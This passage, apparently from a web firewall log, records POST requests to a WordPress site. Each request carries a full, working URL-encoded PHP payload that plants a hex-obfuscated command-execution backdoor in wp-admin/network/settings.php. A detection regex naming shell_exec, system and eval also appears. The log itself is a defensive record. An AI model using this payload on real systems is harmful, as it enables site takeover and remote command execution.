2527.%2527576%2527.%2524elem3.%2527273%2527.%2524elem13.%2524elem14.%2524elem15.%2527f6b%2527.%2524elem16%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524reverse_lookup%252C%2524rec_holder%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524rec_holder%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524resource_key%253D%2524hub_center5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524resource_key%2529%257B%2524object_obj%253D%2524hub_center6%2528%2524resource_key%2529%253B%2524hub_center7%2528%2524resource_key%2529%253Bprint%2520%2524object_obj%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:01","144.76.215.54","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ji:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524elem1%2520%253D%2520%2527736%2527%253B%2524elem2%2520%253D%2520%2527865%2527%253B%2524elem3%2520%253D%2520%2527657%2527%253B%2524elem4%2520%253D%2520%2527706%2527%253B%2524elem5%2520%253D%2520%2527173%2527%253B%2524elem6%2520%253D%2520%2527468%2527%253B%2524elem7%2520%253D%2520%2527f70%2527%253B%2524elem8%2520%253D%2520%2527656%2527%253B%2524elem9%2520%253D%2520%2527737%2527%253B%2524elem10%2520%253D%2520%2527f63%2527%253B%2524elem11%2520%253D%2520%2527e74%2527%253B%2524elem12%2520%253D%2520%2527365%2527%253B%2524elem13%2520%253D%2520%2527655%2527%253B%2524elem14%2520%253D%2520%2527f6c%2527%253B%2524elem15%2520%253D%2520%25276f6%2527%253B%2524elem16%2520%253D%2520%2527757%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2527746%2527.%252756d%2527%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem1.%2524elem2.%25276c6%2527.%2527c5f%2527.%2524elem3.%2527865%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2524elem2%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem5.%2527737%2527.%2524elem6.%2527727%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem7.%2524elem8%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem9.%2527472%2527.%2527656%2527.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524elem10.%25276f6%2527.%2527e74%2527.%2524elem8.%2524elem11%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%252736c%2527.%25276f7%2527.%2524elem12%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527726%2527.%2527576%2527.%2524elem3.%2527273%2527.%2524elem13.%2524elem14.%2524elem15.%2527f6b%2527.%2524elem16%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524reverse_lookup%252C%2524rec_holder%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524rec_holder%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524resource_key%253D%2524hub_center5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524resource_key%2529%257B%2524object_obj%253D%2524hub_center6%2528%2524resource_key%2529%253B%2524hub_center7%2528%2524resource_key%2529%253Bprint%2520%2524object_obj%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnzxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5837\n\nji=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524elem1%2520%253D%2520%2527736%2527%253B%2524elem2%2520%253D%2520%2527865%2527%253B%2524elem3%2520%253D%2520%2527657%2527%253B%2524elem4%2520%253D%2520%2527706%2527%253B%2524elem5%2520%253D%2520%2527173%2527%253B%2524elem6%2520%253D%2520%2527468%2527%253B%2524elem7%2520%253D%2520%2527f70%2527%253B%2524elem8%2520%253D%2520%2527656%2527%253B%2524elem9%2520%253D%2520%2527737%2527%253B%2524elem10%2520%253D%2520%2527f63%2527%253B%2524elem11%2520%253D%2520%2527e74%2527%253B%2524elem12%2520%253D%2520%2527365%2527%253B%2524elem13%2520%253D%2520%2527655%2527%253B%2524elem14%2520%253D%2520%2527f6c%2527%253B%2524elem15%2520%253D%2520%25276f6%2527%253B%2524elem16%2520%253D%2520%2527757%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2527746%2527.%252756d%2527%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem1.%2524elem2.%25276c6%2527.%2527c5f%2527.%2524elem3.%2527865%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2524elem2%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem5.%2527737%2527.%2524elem6.%2527727%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem7.%2524elem8%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem9.%2527472%2527.%2527656%2527.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524elem10.%25276f6%2527.%2527e74%2527.%2524elem8.%2524elem11%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%252736c%2527.%25276f7%2527.%2524elem12%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527726%2527.%2527576%2527.%2524elem3.%2527273%2527.%2524elem13.%2524elem14.%2524elem15.%2527f6b%2527.%2524elem16%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524reverse_lookup%252C%2524rec_holder%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524rec_holder%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524resource_key%253D%2524hub_center5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524resource_key%2529%257B%2524object_obj%253D%2524hub_center6%2528%2524resource_key%2529%253B%2524hub_center7%2528%2524resource_key%2529%253Bprint%2520%2524object_obj%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:43:04","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524elem1%2520%253D%2520%2527736%2527%253B%2524elem2%2520%253D%2520%2527865%2527%253B%2524elem3%2520%253D%2520%2527657%2527%253B%2524elem4%2520%253D%2520%2527706%2527%253B%2524elem5%2520%253D%2520%2527173%2527%253B%2524elem6%2520%253D%2520%2527468%2527%253B%2524elem7%2520%253D%2520%2527f70%2527%253B%2524elem8%2520%253D%2520%2527656%2527%253B%2524elem9%2520%253D%2520%2527737%2527%253B%2524elem10%2520%253D%2520%2527f63%2527%253B%2524elem11%2520%253D%2520%2527e74%2527%253B%2524elem12%2520%253D%2520%2527365%2527%253B%2524elem13%2520%253D%2520%2527655%2527%253B%2524elem14%2520%253D%2520%2527f6c%2527%253B%2524elem15%2520%253D%2520%25276f6%2527%253B%2524elem16%2520%253D%2520%2527757%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2527746%2527.%252756d%2527%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem1.%2524elem2.%25276c6%2527.%2527c5f%2527.%2524elem3.%2527865%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2524elem2%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem5.%2527737%2527.%2524elem6.%2527727%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem7.%2524elem8%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem9.%2527472%2527.%2527656%2527.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524elem10.%25276f6%2527.%2527e74%2527.%2524elem8.%2524elem11%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%252736c%2527.%25276f7%2527.%2524elem12%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527726%2527.%2527576%2527.%2524elem3.%2527273%2527.%2524elem13.%2524elem14.%2524elem15.%2527f6b%2527.%2524elem16%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524reverse_lookup%252C%2524rec_holder%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524rec_holder%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524resource_key%253D%2524hub_center5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524resource_key%2529%257B%2524object_obj%253D%2524hub_center6%2528%2524resource_key%2529%253B%2524hub_center7%2528%2524resource_key%2529%253Bprint%2520%2524object_obj%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\ncontent-length:5860\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524elem1%2520%253D%2520%2527736%2527%253B%2524elem2%2520%253D%2520%2527865%2527%253B%2524elem3%2520%253D%2520%2527657%2527%253B%2524elem4%2520%253D%2520%2527706%2527%253B%2524elem5%2520%253D%2520%2527173%2527%253B%2524elem6%2520%253D%2520%2527468%2527%253B%2524elem7%2520%253D%2520%2527f70%2527%253B%2524elem8%2520%253D%2520%2527656%2527%253B%2524elem9%2520%253D%2520%2527737%2527%253B%2524elem10%2520%253D%2520%2527f63%2527%253B%2524elem11%2520%253D%2520%2527e74%2527%253B%2524elem12%2520%253D%2520%2527365%2527%253B%2524elem13%2520%253D%2520%2527655%2527%253B%2524elem14%2520%253D%2520%2527f6c%2527%253B%2524elem15%2520%253D%2520%25276f6%2527%253B%2524elem16%2520%253D%2520%2527757%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2527746%2527.%252756d%2527%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem1.%2524elem2.%25276c6%2527.%2527c5f%2527.%2524elem3.%2527865%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2524elem2%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem5.%2527737%2527.%2524elem6.%2527727%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem7.%2524elem8%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem9.%2527472%2527.%2527656%2527.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524elem10.%25276f6%2527.%2527e74%2527.%2524elem8.%2524elem11%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%252736c%2527.%25276f7%2527.%2524elem12%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527726%2527.%2527576%2527.%2524elem3.%2527273%2527.%2524elem13.%2524elem14.%2524elem15.%2527f6b%2527.%2524elem16%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524reverse_lookup%252C%2524rec_holder%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524rec_holder%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524resource_key%253D%2524hub_center5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524resource_key%2529%257B%2524object_obj%253D%2524hub_center6%2528%2524resource_key%2529%253B%2524hub_center7%2528%2524resource_key%2529%253Bprint%2520%2524object_obj%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:43:07","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Do:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524elem1%2520%253D%2520%2527736%2527%253B%2524elem2%2520%253D%2520%2527865%2527%253B%2524elem3%2520%253D%2520%2527657%2527%253B%2524elem4%2520%253D%2520%2527706%2527%253B%2524elem5%2520%253D%2520%2527173%2527%253B%2524elem6%2520%253D%2520%2527468%2527%253B%2524elem7%2520%253D%2520%2527f70%2527%253B%2524elem8%2520%253D%2520%2527656%2527%253B%2524elem9%2520%253D%2520%2527737%2527%253B%2524elem10%2520%253D%2520%2527f63%2527%253B%2524elem11%2520%253D%2520%2527e74%2527%253B%2524elem12%2520%253D%2520%2527365%2527%253B%2524elem13%2520%253D%2520%2527655%2527%253B%2524elem14%2520%253D%2520%2527f6c%2527%253B%2524elem15%2520%253D%2520%25276f6%2527%253B%2524elem16%2520%253D%2520%2527757%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2527746%2527.%252756d%2527%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem1.%2524elem2.%25276c6%2527.%2527c5f%2527.%2524elem3.%2527865%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2524elem2%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem5.%2527737%2527.%2524elem6.%2527727%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem7.%2524elem8%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem9.%2527472%2527.%2527656%2527.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524elem10.%25276f6%2527.%2527e74%2527.%2524elem8.%2524elem11%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%252736c%2527.%25276f7%2527.%2524elem12%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527726%2527.%2527576%2527.%2524elem3.%2527273%2527.%2524elem13.%2524elem14.%2524elem15.%2527f6b%2527.%2524elem16%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524